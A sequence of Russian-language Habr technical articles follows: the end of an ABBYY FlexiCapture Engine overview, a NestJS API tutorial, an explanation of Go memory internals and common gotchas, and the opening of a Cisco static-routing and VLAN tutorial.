Используя процессоры, можно организовать многоуровневую обработку, когда один процессор на входе выполняет первичную классификацию документов по каким-то простым признакам и отдаёт результат одному из более специализированных процессоров, который уже определяют точный тип документа и извлекает данные. Такой подход позволяет повысить производительность при работе с большим числом различных типов документов. Кроме того, специализированные процессоры могут работать параллельно, дополнительно повышая пропускную способность всего решения.
#### Входные изображения
Для обработки на вход процессору подаётся последовательность изображений. В простейшем случае это могут быть просто ссылки на файлы, как в рассмотренном примере – в этом случае ссылки добавляются во внутреннюю очередь процессора. Можно также создать *пользовательскую очередь (источник) изображений* и присоединить её на вход процессора.
Пользовательская очередь по требованию может выдавать процессору ссылки на файлы изображений, потоки в памяти, соответствующие этим файлам, или загруженные изображения (во внутреннем формате FlexiCapture Engine). Последний вариант позволяет также реализовать произвольную предобработку изображений пользователем перед передачей их процессору (с помощью встроенных инструментов или пользовательских алгоритмов). Также в пользовательской очереди можно организовать ожидание пока очередное изображение не станет доступным (подробнее об этом позже).
Интерфейсу очереди изображений в некоторых случаях можно непосредственно сопоставить объекты целевого приложения, представляющие хранилище изображений в системе документооборота, пользовательскую реализацию «пакета документов» и т.п. Эти объекты для выполнения своей логики могут приватно реализовать этот интерфейс.
#### Цикл обработки
В приведённом в начале статьи примере распознаётся ровно один документ, что является достаточно распространённой задачей. Однако в более общем случае в этом месте следует «крутить» цикл обработки, на каждом шаге которого из очереди выбирается очередная последовательность изображений и выдаётся ровно один готовый документ, соответствующий этой последовательности, либо ошибка (нет доступа к изображению, битое изображение и т.п.).
Совместно с пользовательской очередью изображений прокрутка цикла обработки позволяет реализовать pull-модель получения изображений процессором, когда цикл обработки «выкачивает» изображения из очереди и может приостанавливаться на время загрузки очередного изображения.
Одна очередь изображений может использоваться из нескольких процессоров, работающих параллельно, что позволяет легко распараллелить обработку (при этом процессоры без простоев и «активного ожидания” параллельно «выкачивают» изображения из очереди по мере их появления, пример реализации подобного подхода можно найти в примерах).
#### Работа с результатами
Процессор выдаёт на выходе документы, которые включают в себя древовидную структуру узлов, содержащую извлечённые данные и страницы с геометрической разметкой, показывающей, где на изображении эти данные были найдены.
Данные из документа можно извлекать напрямую и самостоятельно сохранять в файлы или в БД (в том числе необходимые участки изображений) или пускать в дальнейшую обработку. Можно также экспортировать данные с использованием встроенных инструментов экспорта в файловые форматы.
Можно также сохранить документ как промежуточный результат в файл или поток в памяти для маршалинга или дальнейшей обработки в другом месте и в другое время. Такой дальнейшей обработкой может быть, например, верификация данных с помощью встроенных инструментов верификации.
Встроенные инструменты верификации позволяют оптимизировать ручную верификацию больших объёмов данных, объединяя данные в группы. Вместо этого часто бывает возможным и удобным верифицировать данные программно (обходя документ и программно проверяя данные по БД, словарям, контрольным суммам и т.п.).
#### Пользовательский механизм разрешения ссылок
В рассмотренном в начале статьи примере мы использовали ссылки на файлы определений документов и файлы изображений в виде путей в файловой системе. Использование ссылок часто удобно и естественно и позволяет откладывать загрузку соответствующих объектов до того момента, когда это станет необходимым. Также ссылки проще маршалить при передаче между процессами.
Переопределение механизма разрешения ссылок позволяет пользователю полностью перестроить механизм работы со ссылками в контексте данного процессора под свои нужды. Ссылка рассматривается просто как некоторая строка, понятная этому механизму. Это может быть некоторый url или идентификатор в БД или комбинация таковых с указанием протокола. От переопределённого механизма разрешения ссылок требуется только умение вернуть для этой строки путь к локальному (временному) файлу на диске или поток байтов в памяти. Дополнительно при работе со ссылками определён протокол управлением временем жизни возвращаемых объектов (чтобы временные файлы своевременно удалялись, а объекты из памяти выгружались).
#### Заключение
Большая часть описанного в данной статье охвачена примерами, поставляемыми с продуктом. Это позволяет разработчикам, использующим наши технологии, начинать работу с уже проверенного работающего решения и развивать его под свои нужды. Примеры охватывают такие типы приложений как:
1. Настольные приложения (использует отдельный процессор, загружаемый непосредственно в процесс пользователя, изображения в виде списка файлов на диске)
2. Высокопроизводительный многопоточный сервер обработки (используется пул обрабатывающих процессоров, берущих изображения из разделяемой очереди)
3. Web-сервис (пул обрабатывающих процессоров, которые параллельно обрабатывают параллельные клиентские запросы)
Также есть специальный пример (Code Snippets), написанный специально программистами для программистов и содержащий множество готовых выверенных коротких сценариев использования продукта ровно в том виде (без ошибок перевода :) ), как это задумывалось разработчиками и тестировалось.
Есть отличная справка, где подробно описаны все объекты и методы и их использование.
Более подробно об ABBYY FlexiCapture Engine 9.0 вы можете прочитать [на сайте ABBYY](http://www.abbyy.ru/flexicapture_engine/).
*Алексей Калюжный
Департамент продуктов для разработчиков* | https://habr.com/ru/post/125347/ | null | ru | null |
# Знакомимся с NestJS
***Перевод статьи подготовлен в преддверии старта курса [«Разработчик Node.js»](https://otus.pw/TVbz/).***

---
У современных разработчиков есть много альтернатив, когда речь заходит о создании веб-сервисов и других серверных приложений. Node стал крайне популярным выбором, однако многие программисты предпочитают более надежный язык, чем JavaScript, особенно те, кто пришел из современных объектно-ориентированных языков, например, таких как C#, C++ или Java. Если TypeScript просто хорошо подходит [NodeJS](https://itnext.io/server-side-typescript-with-node-c5cef1584684) , то фреймворк NestJS выводит его на совершенно новый уровень, предоставляя современные инструменты бэкенд-разработчику для создания долговечных и высокопроизводительных приложений с использованием компонентов, провайдеров, модулей и других полезных высокоуровневых абстракций.
В этой статье мы рассмотрим процесс создания простого API-сервера на NestJS для обработки базового сценария приложения: создание, хранение и получение списка продуктов универсама.
Если хотите ознакомиться с исходным кодом проекта, вы можете найти его [здесь](https://github.com/kenreilly/nest-js-example).
### Создание проекта
Для работы с Nest нужна среда Node. Если у вас ее еще нет, зайдите на их [сайт](https://nodejs.org/en/download/) и скачайте ее.
Установить фреймворк достаточно просто:
```
$ npm i -g @nestjs/cli
```
Этот проект был создан с помощью Nest CLI после выполнения следующей команды:
```
$ nest new nest-js-example
```
Такая команда создаст совершенно новый проект Nest с необходимыми файлами конфигурации, структурой папок и шаблоном сервера.
### Точка входа приложения
Основной файл, который конфигурирует и запускает сервер – это `src/main.ts`:
```
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';
async function bootstrap() {
const app = await NestFactory.create(AppModule);
await app.listen(3000);
}
bootstrap();
```
Этот файл импортирует класс *NestFactory*, который используется для создания приложения, и основной файл *AppModule* (с которым мы в скором времени познакомимся), а затем загружает приложение, инстанцируя его, и слушает на 3000 порту.
### App Module
Файл, в котором задекларированы компоненты приложения, называется `src/app.module.ts`:
```
import { Module } from '@nestjs/common';
import { ItemsController } from './items/items.controller';
import { ItemsService } from './items/items.service';
@Module({
imports: [],
controllers: [ ItemsController ],
providers: [ ItemsService ],
})
export class AppModule {}
```
Это файл, где остальные компоненты импортируются и декларируются в Модуль, который импортируется в предыдущем файле (*main.ts*). Инструменты [Nest CLI](https://docs.nestjs.com/cli/usages) автоматически обновят этот файл по мере необходимости, когда будет дана команда создать новый компонент. Здесь импортируются контроллер и сервис для *items* и добавляются в модуль.
### Items Controller
Следующий файл, с которым мы ознакомимся – это `src/items/items.controller.ts`:
```
import { Controller, Req, Get, Post, Body } from '@nestjs/common'
import { CreateItemDto } from './dto/create-item.dto'
import { ItemsService } from './items.service'
import { Item } from './items.interface'
@Controller('items')
export class ItemsController {
constructor(private readonly itemsService: ItemsService) {}
@Post()
create(@Body() data: CreateItemDto): Object {
return this.itemsService.create(data)
}
@Get()
findAll(): Array {
return this.itemsService.findAll()
}
}
```
Этот файл определяет контроллер для создания *item’ов* и получения списка ранее созданных. Здесь импортируется несколько ключевых компонентов:
* *CreateItemDto*: Объект *[Data-Transfer](https://docs.nestjs.com/controllers#request-payloads)*, который определяет как данные item’ов будут отправляться по сети (т.е. это структура данных JSON);
* *ItemsService: [Provider](https://docs.nestjs.com/providers)*, который обрабатывает манипуляции или хранение данных *Item*;
* *Item*: Интерфейс, который определяет внутреннюю структуру данных для *Item*;
Декоратор `@Controller('items')` указывает фреймворку, что этот класс будет обслуживать конечную точку REST /*items*, а конструктор *ItemsController* берет экземпляр *ItemsService*, который используется внутри для обслуживания двух HTTP методов:
* POST /items (создает новый item из JSON-запроса);
* GET /items (получения списка ранее созданных item’ов).
Запросы к этим двум методам обрабатываются методами create и FindAll, которые привязаны к соответствующим методам HTTP с помощью декораторов `@Post()` и `@Get()`. Дополнительные методы тоже могут поддерживаться декораторами аналогичным образом, например, `@Put()` или `@Delete()` и т.д.
### Интерфейсы объекта Item
Дальше разберемся с двумя файлами, которые определяют интерфейсы для хранения *item*, один для внутреннего использования, такого как проверка типа по время компиляции (*Item*), и внешний интерфейс для определения ожидаемой структуры входящего JSON (`CreateItemDto`):
```
export interface Item {
name: string,
description: string,
price: number
}
```
```
export class CreateItemDto {
@IsNotEmpty()
readonly name: string;
@IsNotEmpty()
readonly description: string;
@IsNotEmpty()
readonly price: number;
}
```
Интерфейс *Item* определяет три свойства обычного магазинного товара: название, описание и цену. Это гарантирует отсутствие путаницы в архитектуре приложения в вопросах того, что такое item и какими свойствами он обладает.
Класс *CreateItemDto* отражает свойства *Item*, декорируя каждое свойство `@IsNotEmpty()`, чтобы гарантировать, что все эти свойства запрашиваются конечной точкой REST API.
Все свойства обоих классов строго типизированы, что является одним из главных преимуществ TypeScript (отсюда и название). На первый взгляд это повышает уровень понимания контекста, а еще значительно сокращает время разработки при правильном использовании вместе с инструментами анализа кода (такими как IntelliSense в VSCode). Особенно характерно это для больших проектов с сотнями или даже тысячами различных классов и интерфейсов. Для тех, кто не обладает совершенной фотографической памятью с бесконечной емкостью (например, для меня), так гораздо проще, чем пытаться запомнить тысячи конкретных деталей.
### Сервис Items
Самый последний – сервис для создания и получения `items: items.service.dart`:
```
import { Injectable } from '@nestjs/common'
import { Item } from './items.interface'
@Injectable()
export class ItemsService {
private items: Array = []
create(item: Item): Object {
this.items.push(item)
return { id: this.items.length.toString() }
}
findAll(): Array {
return this.items;
}
}
```
Класс *ItemsService* определяет простой массив объектов *Item*, который будет служить в качестве in-memory хранилища данных для нашего проекта-примера. Два метода, которые пишут и читают из этого хранилища это:
* *create* (сохраняет *Item* в список и возвращает его id);
* *findAll* (возвращает список ранее созданных объектов *Item*).
### Тестируем
Чтобы запустить сервер, используйте стандартную команду *npm run start*. Когда приложение запущено, его можно протестировать с помощью отправки HTTP-запросов через *CURL*:
```
$ curl -X POST localhost:3000/items -d '{"name":"trinket", "description":"whatever", "price": 42.0}'
```
Выполнение этой команды вернет ответ в формате JSON с *id,*созданного *item*. Чтобы показать список item’ов, которые уже созданы используйте:
```
$ curl localhost:3000/items
```
GET-запрос к /*items*, приведенный выше, вернет ответ в формате JSON с информацией об *item’ах*, которые уже хранятся в памяти. Ответ должен выглядеть как-то так:
```
[{"{\"name\":\"trinket\", \"description\":\"whatever\", \"price\": 42.0}":""}]
```
### Заключение
NestJS относительно новое решение в области бэкенд-разработки, с большим набором функций для быстрого построения и развертывания корпоративных сервисов, которые отвечают требованиям современных клиентов приложений и придерживаются принципов [SOLID](https://en.wikipedia.org/wiki/SOLID) и приложения [двенадцати факторов](https://12factor.net/).
Чтобы узнать больше, посетите сайт [NestJS](https://nestjs.com/).
Спасибо, что ознакомились с моей статьей. Счастливого кодинга! | https://habr.com/ru/post/493090/ | null | ru | null |
# Как не наступать на грабли в Go
*Этот пост является версией моей же англоязычной статьи ["How to avoid gotchas in Go"](https://divan.github.io/posts/avoid_gotchas/), но слово gotcha не переводится на русский, поэтому я буду использовать это слово как без перевода, так и немного непрямой вариант — "наступать на грабли".*
> Gotcha — корректная конструкция системы, программы или языка программирования, которая работает, как описано, но, при этом, контринтуитивна и является причиной ошибок, поскольку её легко использовать неверно.
В языке Go есть несколько таких gotchas и есть немало хороших статей, которые их [подробно](https://go-traps.appspot.com/) [описывают](http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/index.html) и [разъясняют](https://medium.com/@Jarema./golang-slice-append-gotcha-e9020ff37374#.xvfl7r4ti). Я считаю, что эти статьи очень важны, особенно для новичков в Go, поскольку регулярно вижу людей, попадающихся на те же грабли.
Но один вопрос меня мучал долгое время — почему я сам никогда не делал этих ошибок? Серьезно, самые популярные из них, вроде путаницы с nil-интерфейсом или непонятного результата при append()-е слайса — в моей практике никогда не были проблемой. Каким-то образом мне повезло обойти эти подводные камни с первых дней своей работы с Go. Что же мне помогло?
И ответ оказался довольно прост. Я просто очень вовремя прочёл несколько хороших статей о внутреннем устройстве структур данных в Go и прочих деталях реализации. И этого, вполне поверхностного на самом деле, знания было достаточно, чтобы выработать некоторую интуицию и избегать этих подводных камней.
Давайте вернёмся к определению, *"gotcha… это корректная конструкция… которая контринтуитивна..."*. В этом вся соль. У нас есть, на самом деле, два варианта:
* "починить" язык
* починить интуицию
Первый вариант, который будет по душе многим хабрачитателям, конечно же не вариант. В Go есть [обещание обратной совместимости](https://golang.org/doc/go1compat) — язык уже меняться не будет, и это прекрасно — программы написанные в 2012-м компилируются сегодня последней версией Go без единого ворнинга. Кстати, в Go нет ворнингов :)
Второй же вариант будет правильнее назвать *развить интуицию*. Как только вы узнаете, как интерфейсы или слайсы работают изнутри, интуиция будет подсказывать правильнее и поможет избегать ошибок. Этот метод хорошо помог мне и, наверняка, поможет и другим. Поэтому я решил собрать эти базовые знания о внутренностях Go в один пост, чтобы помочь другим развить интуицию о том, как Go устроен изнутри.
Давайте начнем с базового понимания, как хранятся типы данных в памяти. Вот краткий перечень того, что мы изучим:
* [Указатели](https://habrahabr.ru/post/325468/#ukazateli)
* [Массивы](https://habrahabr.ru/post/325468/#massivy)
* [Слайсы](https://habrahabr.ru/post/325468/#slaysy)
* [Добавление к слайсу (append)](https://habrahabr.ru/post/325468/#dobavlenie-k-slaysu-append)
* [Интерфейсы](https://habrahabr.ru/post/325468/#interfeysy)
* [Пустой интерфейс (interface{})](https://habrahabr.ru/post/325468/#pustoy-interfeys-empty-interface)
Указатели
=========
Go, имея в генеалогическом дереве язык С, на самом деле довольно близок к железу. Если вы создаете переменную типа `int64` (целочисленной значение 64-бита) вы точно можете быть уверены в том, сколько именно места она занимает в памяти, и всегда можете использовать [unsafe.Sizeof()](https://golang.org/pkg/unsafe/#Sizeof), чтобы узнать это для любого другого типа.
Я очень люблю использовать визуальное представление данных в памяти, чтобы "увидеть" размеры переменных, массивов или структур данных. Визуальный подход помогает быстрее понять масштабы, развить интуицию и наглядно оценивать даже такие вещи, как производительность.
Например, давайте начнём с простейших базовых типов в Go:

Скажем, в такой визуализации видно, что переменная типа *int64* будет занимать в два раза больше "места", чем *int32*, а *int* занимает столько же, сколько *int32* (подразумевая, что это 32-битная машина).
Указатели же выглядят чуть более сложно — по сути, это один блок памяти, который содержит адрес в памяти, указывающий на другой блок памяти, где лежат данные. Если вы слышите фразу "разыменовать указатель", то это означает "найти данные из блока памяти, на который указывает адрес в блоке памяти указателя". Можно представить это как-нибудь так:

Адрес в памяти обычно указывается в шестнадцатеричной форме, отсюда "0x..." на картинке. Но важный момент тут в том, что "блок памяти указателя" может быть в одном месте, а "данные, на которые указывает адрес" — совсем в другом. Нам это пригодится чуть дальше.
И тут мы подходим к одной из gotchas в Go, с которой сталкиваются люди, у которых не было опыта работы с указателями в других языках — это путаница в понимании что такое "передача по значению" параметров в функции. Как вы, наверняка знаете, в Go всё передаётся "по значению", тоесть буквально копируется. Давайте попробуем это визуализировать для функций, в которых параметр передаётся как есть и через указатель:

В первом случае мы копируем все эти блоки памяти — и, в реальности, их может быть запросто больше, чем 2, хоть 2 миллиона блоков, и они все будут копироваться, а это одна из самых дорогостоящих операций. Во втором же случае, мы копируем лишь один блок памяти — в котором хранится адрес в памяти — и это быстро и дешево. Впрочем, для небольших данных рекомендуется всё же передавать по значению, потому что у поинтеры создают дополнительную нагрузку на GC, и, в итоге оказываются более дорогими, но об этом как-нибудь в другой статье.
Но теперь, имея это наглядное представление, как передаются указатели в функцию, вы естественным образом можете "увидеть", что в первом случае изменяя переменную `p` в функции `Foo()`, вы будете работать с копией и не измените значение оригинальной переменной (`p1`), а втором — измените, поскольку указатель будет ссылаться на оригинальную переменную. Хотя и в том и другом случае, при передаче параметров происходит копирование данных.
Окей, разогрев окончен, давайте копнём глубже и посмотрим вещи чуть сложнее.
Массивы и слайсы
================
Слайсы поначалу принимают за обычный массив. Но это не так, и, на самом деле, это два разных типа в Go. Давайте сначала посмотрим на массивы.
Массивы
-------
```
var arr [5]int
var arr [5]int{1,2,3,4,5}
var arr [...]int{1,2,3,4,5}
```
Массив это просто последовательный набор блоков памяти и если мы посмотрим на исходники Go ([src/runtime/malloc.go](https://golang.org/src/runtime/malloc.go#L793)), то увидим, что создание массива это по сути просто выделение куска памяти нужного размера. Старый добрый malloc, только чуть умнее:
```
// newarray allocates an array of n elements of type typ.
func newarray(typ *_type, n int) unsafe.Pointer {
if n < 0 || uintptr(n) > maxSliceCap(typ.size) {
panic(plainError("runtime: allocation size out of range"))
}
return mallocgc(typ.size*uintptr(n), typ, true)
}
```
Что это для нас означает? Это значит, что мы можем визуально представить массив просто как набор блоков памяти, расположенных один за другим:

Каждый элемент массива всегда инициализирован *нулевым значением* данного типа — 0 в данном случае массива из целых чисел длиной 5. Мы можем обращаться к ним по индексу и использовать встроенную функцию `len()`, чтобы узнать размер массива. Когда мы обращаемся к отдельному элементу массива по индексу и делаем что-то вроде этого:
```
var arr [5]int
arr[4] = 42
```
То просто берем пятый (4+1) элемент и изменяем значение этого блока в памяти:

Окей, теперь разберёмся со слайсами.
Слайсы
------
На первый взгляд, они похожи на массивы. Ну вот прям очень похожи:
```
var foo []int
```
Но если мы посмотрим на исходники Go ([src/runtime/slice.go](https://golang.org/src/runtime/slice.go#L11)), то увидим, что слайс это, на самом деле, структура из трёх полей — указателя на массив, длины и вместимости (capacity):
```
type slice struct {
array unsafe.Pointer
len int
cap int
}
```
Когда вы создаёте новый слайс, рантайм "под капотом" создаст новую переменную этого типа, с нулевым указателем (`nil`) и длиной и ёмкостью равными нулю. Это нулевое значение для слайса. Давайте попробуем визуализировать его:

Это не очень интересно, поэтому давайте инициализируем слайс нужного нам размера с помощью встроенной команды `make()`:
```
foo = make([]int, 5)
```
Эта команда создаст сначала массив из 5 элементов (выделит память и заполнит их нулями), и установит значения `len` и `cap` в 5. `Cap` означает ёмкость и помогает зарезервировать место в памяти на будущее, чтобы избежать лишних операций выделения памяти при росте слайса. Можно использовать чуть более расширенную форму — `make([]int, len, cap)`, чтобы указать ёмкость изначально. Чтобы уверенно работать со слайсами, важно понимать разницу между длиной и ёмкостью.
```
foo = make([]int, 3, 5)
```
Давайте посмотрим на оба вызова:

Теперь, объединяя наши знания о том как устроены указатели, массивы и слайсы, давайте визуализируем, что происходит при вызове следующего кода:
```
foo = make([]int, 5)
foo[3] = 42
foo[4] = 100
```

Это было легко. Но что будет, если мы создадим новый подслайс из `foo` и изменим какой-нибудь элемент? Давайте посмотрим:
```
foo = make([]int, 5)
foo[3] = 42
foo[4] = 100
bar := foo[1:4]
bar[1] = 99
```

Видно же? Модифицируя слайс `bar`, мы, на самом деле, изменяем массив, но это тот же самый массив, на который указывает и слайс `foo`. И это, на самом деле, реальная штука — вы можете написать код вроде этого:
```
var digitRegexp = regexp.MustCompile("[0-9]+")
func FindDigits(filename string) []byte {
b, _ := ioutil.ReadFile(filename)
return digitRegexp.Find(b)
}
```
И, скажем, считав 10МБ данных в слайс из файла, найти 3 байта, содержащих цифры, но возвращать вы будете слайс, который ссылается на массив размером 10МБ!

И это одна из самых часто упоминаемых gotchas в Go. Но теперь, наглядно понимая как это устроено, вам будет тяжело сделать такую ошибку.
Добавление к слайсу (append)
============================
Следом за хитрой ошибкой со слайсами, идёт не очень очевидное поведение встроенной функции `append()`. Она, в принципе, делает одну простую операцию — добавляет к нему элементы. Но под капотом там делаются довольно сложные манипуляции, чтобы выделять память только при необходимости и делать это эффективно.
Взглянем на следующий код:
```
a := make([]int, 32)
a = append(a, 1)
```
Он создаёт новый слайс из 32 целых чисел и добавляет к нему ещё один, 33-й элемент.
Помните про `cap` — ёмкость слайсов? Ёмкость означает количество выделенного места для массива. Функция `append()` проверяет, достаточно ли у слайса места, чтобы добавить туда ещё элемент, и если нет, то выделяет больше памяти. Выделение памяти это всегда дорогая операция, поэтому `append()` пытается оптимизировать это, и запрашивает в данном случае памяти не для одной переменной, а для ещё 32х — в два раза больше, чем начальный размер. Выделение памяти пачкой один раз дешевле, чем много раз по кусочкам.
Неочевидная штука тут в том, что по различным причинам, выделение памяти обычно означает выделение её по другому адресу и перемещение данных из старого места в новое. Это означает, что адрес массива, на который ссылается слайс также изменится! Давайте визуализируем это:

Легко увидеть два массива — старый и новый. Вроде бы ничего сложного, и сборщик мусора просто освободит место, занимаемое старым массивом при следующем проходе. Но это, на самом деле, одна из тех самых gotchas со слайсами. Что будет если, мы сделаем подслайс `b`, затем увеличим слайс `a`, подразумевая, что они используют один и тот же массив?
```
a := make([]int, 32)
b := a[1:16]
a = append(a, 1)
a[2] = 42
```
Мы получим вот это:

Именно так, мы получим два различных массива, и два слайса будут указывать на совершенно разные участки памяти! И это, мягко говоря, довольно контринтуитивно, согласитесь. Поэтому, как правило, если вы вы работаете с `append()` и подслайсами — будьте осторожны и имейте ввиду эту особенность.
К слову, `append()` увеличивает слайс удвоением только до 1024 байт, а затем начинает использовать другой подход — так называемые "классы размеров памяти", которые гарантируют, что будет выделяться не более ~12.5%. Выделять 64 байта для массива на 32 байта это нормально, но если слайс размером 4ГБ, то выделять ещё 4ГБ даже если мы хотим добавить лишь один элемент — это чересчур дорого.
Интерфейсы
==========
Окей, интерфейсы, наверное, самая непонятная штука в Go. Обычно проходит какое-то время, прежде чем понимание укладывается в голове, особенно после тяжелых последствий долгой работы с классами в других языках. И одна из самых популярных проблем это понимание `nil` интерфейса.
Как обычно, давайте обратимся к исходному коду Go. Что из себя представляет интерфейс? Это обычная структура из двух полей, вот её определение ([src/runtime/runtime2.go](https://golang.org/src/runtime/runtime2.go#L143)):
```
type iface struct {
tab *itab
data unsafe.Pointer
}
```
`itab` означает *interface table* и тоже является структурой, в которой хранится дополнительная информация об интерфейсе и базовом типе:
```
type itab struct {
inter *interfacetype
_type *_type
link *itab
bad int32
unused int32
fun [1]uintptr // variable sized
}
```
Мы сейчас не будем углубляться в то, как работает приведение типа в интерфейсах, но что важно понимать, что по своей сути интерфейс это всего лишь набор данных о типах (интерфейса и типа переменной внутри него) и указатель на, собственно, саму переменную со статическим (конкретным) типом (поле `data` в `iface`). Давайте посмотрим, как это выглядит и определим переменную `err` интерфейсного типа `error`:
```
var err error
```

То, что мы видим на этой визуализации — это нулевой интерфейс (nil interface). Когда мы возвращаем `nil` в функции, возвращающей `error`, мы возвращаем именно вот этот объект. В нём хранится информация про сам интерфейс (`itab.inter`), но поля `data` и `itab.type` пустые — равны `nil`. Сравнение этого объекта с `nil` вернёт `true` в условии `if err == nil {}`.
```
func foo() error {
var err error // nil
return err
}
err := foo()
if err == nil {...} // true
```
Теперь, взгляните на вот этот случай, который также является известной gotcha в Go:
```
func foo() error {
var err *os.PathError // nil
return err
}
err := foo()
if err == nil {...} // false
```
Эти два куска кода очень похожи, если вы не знаете, что из себя представляет интерфейс. Но давайте посмотрим, как выглядит интерфейс `error`, в который "завернута" переменная типа `*os.PathError`:

Мы чётко видим тут саму переменную типа `*os.PathError` — это вот кусок памяти, в котором записано `nil`, потому что это нулевое значение для любого указателя. Но тот объект, что мы возвращаем из функции `foo()` — это уже более сложная структура, в которой хранится не только информация об интерфейсе, но и информация о типе переменной, и адрес в памяти на блок, в котором лежит `nil` указатель. Чувствуете разницу?
В обоих случаях мы как бы видим `nil`, но есть большая разница между *"интерфейс с переменной внутри, чьё значение равно nil"* и *"интерфейс без переменной внутри"*. Теперь, понимая эту разницу, попробуйте спутать вот эти два примера:

Теперь вам должно быть сложно натолкнуться на такую проблему в вашем коде.
Пустой интерфейс (empty interface)
==================================
Несколько слов о так называемом пустом интерфейсе — `interface{}`. В исходниках Go он реализован отдельной структурой — `eface` ([src/runtime/malloc.go](https://golang.org/src/runtime/runtime2.go#L148)):
```
type eface struct {
_type *_type
data unsafe.Pointer
}
```
Легко заметить, что эта структура похожа на `iface`, но в ней нет таблицы интерфейса (itab). Что логично, потому что, по определению, любой статический тип удовлетворяет пустому интерфейсу. Поэтому, когда вы "заворачиваете" какую-либо переменную — явно или неявно (передавая, как аргумент или возвращая из функции, например) — в `interface{}`, вы на самом деле работаете с вот этой структурой.
```
func foo() interface{} {
foo := int64(42)
return foo
}
```

Одна из известных непоняток с пустым интерфейсом заключается в том, что нельзя одним махом привести слайс конкретных типов к слайсу интерфейсов. Если вы напишете что-то вроде такого:
```
func foo() []interface{} {
return []int{1,2,3}
}
```
Комплиятор вполне недвусмысленно ругнётся:
```
$ go build
cannot use []int literal (type []int) as type []interface {} in return argument
```
Поначалу это сбивает с толку. Мол, что за дела — я могу привести одну переменную любого типа в пустой интерфейс, почему же нельзя сделать тоже самое со слайсом? Но, когда вы знаете, что из себя представляет пустой интерфейс и как устроены слайсы, то вы должны интуитивно понять, что это "приведение слайса" на самом деле — довольно дорогая операция, которая будет подразумевать проход по всей длине слайса и выделение памяти прямо пропорционального количеству элементов. А, поскольку один из принципов в Go это — **хотите сделать что-то дорогое — делайте это явно**, то такая конвертация отдана на откуп программисту.
Давайте попробуем визуализировать, что собой представляет приведение `[]int` в `[]interface{}`:

Надеюсь, теперь этот момент имеет смысл и для вас.
Заключение
==========
Безусловно, не все gotchas и непонятки языка можно решить, углубившись во внутренности реализации. Некоторые из них являются просто разницей между старым и новым опытом, а он у нас всех различен. И всё же, наиболее популярные из них такой подход помогает обойти. Надеюсь этот пост поможет вам глубже разобраться в том, что происходит в ваших программах и как Go устроен под капотом. Go это ваш друг, и знать его чуть лучше всегда будет на пользу.
Если вам интересно почитать больше о внутренностях Go, вот небольшая подборка статей, которые помогли в своё время мне:
* [Go Data Structures](http://research.swtch.com/godata)
* [Go Data Structures: Interfaces](http://research.swtch.com/interfaces)
* [Go Slices: usage and internals](https://blog.golang.org/go-slices-usage-and-internals)
* [Gopher Puzzlers](http://talks.godoc.org/github.com/davecheney/presentations/gopher-puzzlers.slide)
Ну, и конечно, как же без этих ресурсов :)
* [Исходники Go](https://golang.org/src/)
* [Effective Go](https://golang.org/doc/effective_go.html)
* [Спецификация Go](https://golang.org/ref/spec)
Удачного кодинга! | https://habr.com/ru/post/325468/ | null | ru | null |
# Сети для самых маленьких. Часть третья. Статическая маршрутизация
*Мальчик сказал маме: “Я хочу кушать”. Мама отправила его к папе.
Мальчик сказал папе: “Я хочу кушать”. Папа отправил его к маме.
Мальчик сказал маме: “Я хочу кушать”. Мама отправила его к папе.
И бегал так мальчик, пока в один момент не упал.
Что случилось с мальчиком? TTL кончился.*
**Все выпуски**[8. Сети для самых маленьких. Часть восьмая. BGP и IP SLA](http://linkmeup.ru/blog/65.html)
[7. Сети для самых маленьких. Часть седьмая. VPN](http://linkmeup.ru/blog/50.html)
[6. Сети для самых маленьких. Часть шестая. Динамическая маршрутизация](http://linkmeup.ru/blog/33.html)
[5. Сети для самых маленьких: Часть пятая. NAT и ACL](http://linkmeup.ru/blog/16.html)
[4. Сети для самых маленьких: Часть четвёртая. STP](http://linkmeup.ru/blog/15.html)
[3. Сети для самых маленьких: Часть третья. Статическая маршрутизация](http://linkmeup.ru/blog/14.html)
[2. Сети для самых маленьких. Часть вторая. Коммутация](http://linkmeup.ru/blog/13.html)
[1. Сети для самых маленьких. Часть первая. Подключение к оборудованию cisco](http://linkmeup.ru/blog/12.html)
[0. Сети для самых маленьких. Часть нулевая. Планирование](http://linkmeup.ru/blog/11.html)
Итак, поворотный момент в истории компании “Лифт ми Ап”. Руководство понимает, что компания, производящая лифты, едущие только вверх, не выдержит борьбы на высококонкурентном рынке. Необходимо расширять бизнес. Принято решение о покупке двух заводов: в Санкт-Петербурге и Кемерово.
Нужно срочно организовывать связь до новых офисов, а у вас ещё даже локалка не заработала.
Сегодня:
1. Настраиваем маршрутизацию между вланами в нашей сети (InterVlan routing)
2. Пытаемся разобраться с процессами, происходящими в сети, и что творится с данными.
3. Планируем расширение сети (IP-адреса, вланы, таблицы коммутации)
4. Настраиваем статическую маршрутизацию и разбираемся, как она работает.
5. Используем L3-коммутатор в качестве шлюза
Содержание:
* [InterVlan Routing](#IVR)
* [Планирование расширения](#Planning)
* [… IP-план](#IP-Plan)
* [Принципы маршрутизации](#Principle)
* [Настройка](#Configuration)
* [… Москва. Арбат](#Arbat)
* [… Провайдер](#Provider)
* [… Санкт-Петербург. Васильевский остров](#vsl)
* [… Санкт-Петербург. Озерки](#ozerki)
* [… Кемерово. Красная горка](#kmr)
* [Дополнительно](#annex)
* [Материалы выпуска](#materials)
InterVlan Routing
=================
Чуточку практики для взбадривания.
В [предыдущий](http://habrahabr.ru/blogs/sysadm/138043/) раз мы настроили коммутаторы нашей локальной сети. На данный момент устройства разных вланов не видят друг друга. То есть фактически ФЭО и ПТО, например, находятся в совершенно разных сетях и не связаны друг с другом. Так же и серверная сеть существует сама по себе. Надо бы исправить эту досадную неприятность.
В нашей московской сети для маршрутизации между вланами мы будем использовать роутер cisco 2811. Иными словами он будет терминировать вланы. Кадры здесь заканчивают свою жизнь: из них извлекаются IP-пакеты, а заголовки канального уровня отбрасываются.

Процесс настройки маршрутизатора очень прост:
0) Сначала закончим с коммутатором msk-arbat-dsw1. На нём нам нужно настроить транковый порт в сторону маршрутизатора, чего мы не сделали в прошлый раз.
> msk-arbat-dsw1(config)#interface FastEthernet0/24
>
> msk-arbat-dsw1(config-if)# description msk-arbat-gw1
>
> msk-arbat-dsw1(config-if)# switchport trunk allowed vlan 2-3,101-104
>
> msk-arbat-dsw1(config-if)# switchport mode trunk
>
>
